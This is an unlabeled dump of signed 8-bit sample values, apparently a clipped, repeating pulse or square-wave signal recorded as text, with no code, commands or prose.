+-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-112 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +64 +62 +60 +58 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-104 +-112 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +76 +72 +69 +65 +64 +60 +57 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +74 +71 +69 +66 +63 +60 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +88 +80 +75 +71 +68 +65 +63 +59 +56 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +97 +87 +80 +75 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +79 +75 +71 +68 +65 +63 +59 +56 +53 +50 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +80 +75 +71 +68 +66 +63 +60 +57 +54 +50 +46 +42 +38 +34 +29 +26 +22 +19 +16 +13 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-2 +-4 +-4 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +-105 +-99 +-78 +-89 +-68 +-80 +-76 +-72 +-68 -65 -61 -58 -55 +-52 -50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-33 +-31 +-30 +-29 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +108 +99 +94 +88 +86 +81 +78 +74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-110 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +75 +71 +68 +65 +64 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +69 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-108 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +81 +76 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +97 +87 +79 +75 +71 +68 +65 +63 +60 +57 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +37 +34 +30 +26 +23 +19 +16 +14 +11 +8 +6 +5 +3 +2 +0 +0 +-2 +-2 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-11 +-12 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-105 +-98 +-77 +-89 +-68 +-79 +-76 +-72 +-68 +-64 +-61 +-59 +-56 +-53 +-50 +-48 +-47 +-44 +-42 +-40 +-39 +-37 +-35 +-34 +-33 +-31 +-30 +-29 +-28 +-27 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +101 +95 +89 +85 +81 +78 +74 +70 +65 +61 +56 +51 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-100 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +79 +76 +72 +68 +65 +64 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +79 +75 +72 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +97 +87 +80 +75 +70 +68 +65 +63 +60 +57 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +76 +72 +69 +66 +64 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +79 +75 +70 +67 +64 +62 +60 +57 +53 +50 +45 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +75 +71 +68 +65 +63 +60 +56 +53 +50 +46 +42 +37 +34 +29 +26 +22 +18 +15 +13 +10 +8 +6 +4 +2 +1 +0 +-1 +-3 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-11 +-12 +-12 +-12 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +84 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +95 +86 +78 +73 +69 +67 +64 +62 +59 +56 +53 +49 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-104 +-98 +-93 +-73 +-84 +-79 +-76 +-72 +-68 +-64 +-62 +-59 +-56 +-52 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +100 +94 +89 +86 +81 +78 +74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-99 +-109 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +80 +76 +71 +68 +65 +63 +60 +58 +53 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +78 +74 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +86 +79 +74 +70 +67 +65 +63 +60 +57 +53 +50 +45 +42 +37 +33 +29 +26 +22 +19 +16 +14 +11 +9 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-110 +-104 +-99 +-78 +-88 +-67 +-79 +-75 +-71 +-67 +-64 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +101 +95 +89 +85 +81 +79 +74 +71 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +76 +71 +68 +65 +63 +60 +57 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +97 +87 +80 +75 +71 +68 +64 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +71 +68 +64 +62 +60 +57 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +79 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +41 +38 +34 +30 +26 +23 +20 +16 +14 +11 +8 +7 +4 +3 +2 +0 +-1 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-9 +-10 +-10 +-10 +-10 +-10 +-10 +-11 +-12 +-101 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-105 +-99 +-77 +-88 +-68 +-79 +-75 +-72 +-68 +-64 +-61 +-58 +-56 +-52 +-50 +-48 +-46 +-43 +-41 +-40 +-39 +-37 +-35 +-33 +-33 +-32 +-30 +-29 +-29 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 +100 +94 +89 +86 +81 +78 +74 +71 +65 +62 +57 +52 +47 +42 +37 +33 +29 +26 +22 +19 +16 +14 +11 +9 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-10 +-11 +-11 +-101 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-98 +-105 +-99 +-78 +-89 +-67 +-78 +-74 +-70 +-66 +-63 +-60 +-57 +-54 +-52 +-50 +-48 +-46 +-44 +-42 +-41 +-39 +-37 +-35 +-35 +-33 +-32 +-31 +-30 +-29 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +100 +95 +90 +86 +81 +78 +74 +70 +65 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-100 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +98 +87 +80 +75 +71 +69 +66 +63 +61 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +69 +66 +64 +61 +58 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +74 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +79 +75 +70 +68 +65 +63 +60 +57 +54 +51 +47 +43 +39 +35 +31 +26 +22 +19 +15 +13 +10 +8 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-11 +-12 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +84 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +94 +84 +77 +73 +69 +66 +64 +62 +59 +57 +52 +49 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-104 +-98 +-93 +-72 +-84 +-79 +-75 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-44 +-42 +-40 +-39 +-37 +-35 +-34 +-33 +-31 +-30 +-29 +-29 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +100 +94 +88 +86 +82 +78 +74 +70 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-111 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +69 +66 +64 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +97 +87 +80 +75 +70 +68 +65 +63 +60 +57 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +80 +75 +71 +68 +65 +63 +61 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-103 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +75 +70 +68 +65 +63 +60 +56 +54 +50 +46 +42 +38 +34 +29 +26 +22 +19 +16 +14 +10 +8 +7 +5 +3 +2 +0 +0 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-103 +88 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +95 +85 +78 +73 +69 +66 +64 +62 +58 +56 +52 +49 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +76 +71 +68 +66 +64 +61 +57 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-103 +-112 +-104 +-99 +-94 +-74 +-84 +-79 +-75 +-71 +-67 +-64 +-61 +-58 +-55 +-53 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-37 +-36 +-34 +-33 +-31 +-31 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +94 +89 +86 +82 +78 +73 +70 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-111 +95 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +69 +66 +64 +61 +58 +54 +51 +47 +43 +-55 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +80 +75 +70 +68 +65 +64 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +87 +79 +75 +71 +68 +66 +63 +60 +58 +54 +50 +46 +42 +38 +34 +30 +26 +22 +19 +16 +13 +11 +8 +7 +6 +4 +2 +1 +0 +-1 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-12 +-13 +-13 +-13 +-14 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-104 +-98 +-77 +-88 +-67 +-79 +-75 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-51 +-49 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-31 +-29 +-29 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +110 +100 +94 +90 +86 +81 +78 +74 +70 +66 +61 +56 +52 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-100 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +75 +71 +68 +66 +63 +60 +57 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +72 +69 +66 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 